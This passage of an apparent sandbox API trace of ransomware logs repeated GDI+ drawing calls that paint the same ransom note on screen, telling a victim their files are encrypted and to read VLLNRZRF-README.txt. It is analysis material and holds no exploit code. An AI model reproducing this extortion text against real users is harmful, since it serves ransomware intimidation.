returned 0x0 [0159.827] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.827] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22109f0) returned 0x0 [0159.827] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.827] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.827] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.828] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.828] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.828] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.828] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210a68) returned 0x0 [0159.828] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.828] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.828] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.829] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.829] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.829] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.829] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210ae0) returned 0x0 [0159.829] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.829] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.829] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.830] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.830] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.830] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.830] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210b58) returned 0x0 [0159.830] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.830] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.830] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.831] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.831] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.831] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.831] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210bd0) returned 0x0 [0159.831] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.831] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.831] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.832] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.832] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.832] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.832] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210c48) returned 0x0 [0159.832] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.832] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.832] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.833] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.833] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.833] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.833] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210cc0) returned 0x0 [0159.833] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.833] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.833] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.834] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.834] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.834] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.834] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210d38) returned 0x0 [0159.834] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.834] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.834] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.835] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.835] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.835] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.835] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210db0) returned 0x0 [0159.835] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.835] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.835] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.836] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.836] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.836] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.836] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210e28) returned 0x0 [0159.836] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.836] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.836] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.837] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.837] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.837] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.837] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210ea0) returned 0x0 [0159.837] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.837] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.837] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.838] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.838] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.838] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.838] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210f18) returned 0x0 [0159.838] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.838] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.838] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.839] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.839] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.839] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.839] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2210f90) returned 0x0 [0159.839] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.839] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.839] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.840] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.840] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.840] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.840] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211008) returned 0x0 [0159.840] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.840] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.840] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.841] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.841] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.841] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.841] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211080) returned 0x0 [0159.841] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.841] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.841] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.842] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.842] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.842] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.842] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22110f8) returned 0x0 [0159.842] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.842] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.842] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.843] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.843] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.843] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.843] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211170) returned 0x0 [0159.843] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.843] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.843] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.844] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.844] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.844] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.844] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22111e8) returned 0x0 [0159.844] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.844] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.844] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.845] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.845] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.845] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.845] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211260) returned 0x0 [0159.845] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.845] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.845] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.846] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.846] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.846] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.846] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22112d8) returned 0x0 [0159.846] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.846] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.846] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.847] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.847] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.847] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.847] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211350) returned 0x0 [0159.847] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.847] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.847] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.848] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.848] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.848] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.848] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22113c8) returned 0x0 [0159.848] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.848] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.848] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.849] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.849] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.849] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.849] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211440) returned 0x0 [0159.849] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.849] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.849] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.850] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.850] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.850] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.850] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22114b8) returned 0x0 [0159.850] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.850] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.850] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.851] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.851] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.851] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.851] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211530) returned 0x0 [0159.851] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.851] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.851] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.852] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.852] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.852] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.852] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x22115a8) returned 0x0 [0159.852] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.852] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.852] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.853] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.853] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.853] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.853] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211620) returned 0x0 [0159.853] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.853] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.853] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.854] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.854] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.854] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.854] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211698) returned 0x0 [0159.854] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.854] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.854] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.855] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.855] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.855] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.855] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211710) returned 0x0 [0159.855] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.855] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.855] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.856] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.856] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.856] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.856] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211788) returned 0x0 [0159.856] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.856] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.856] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.857] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.857] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.857] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.857] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211800) returned 0x0 [0159.857] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.857] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.857] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.858] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.858] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.858] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.858] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x2211878) returned 0x0 [0159.858] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.858] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.858] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 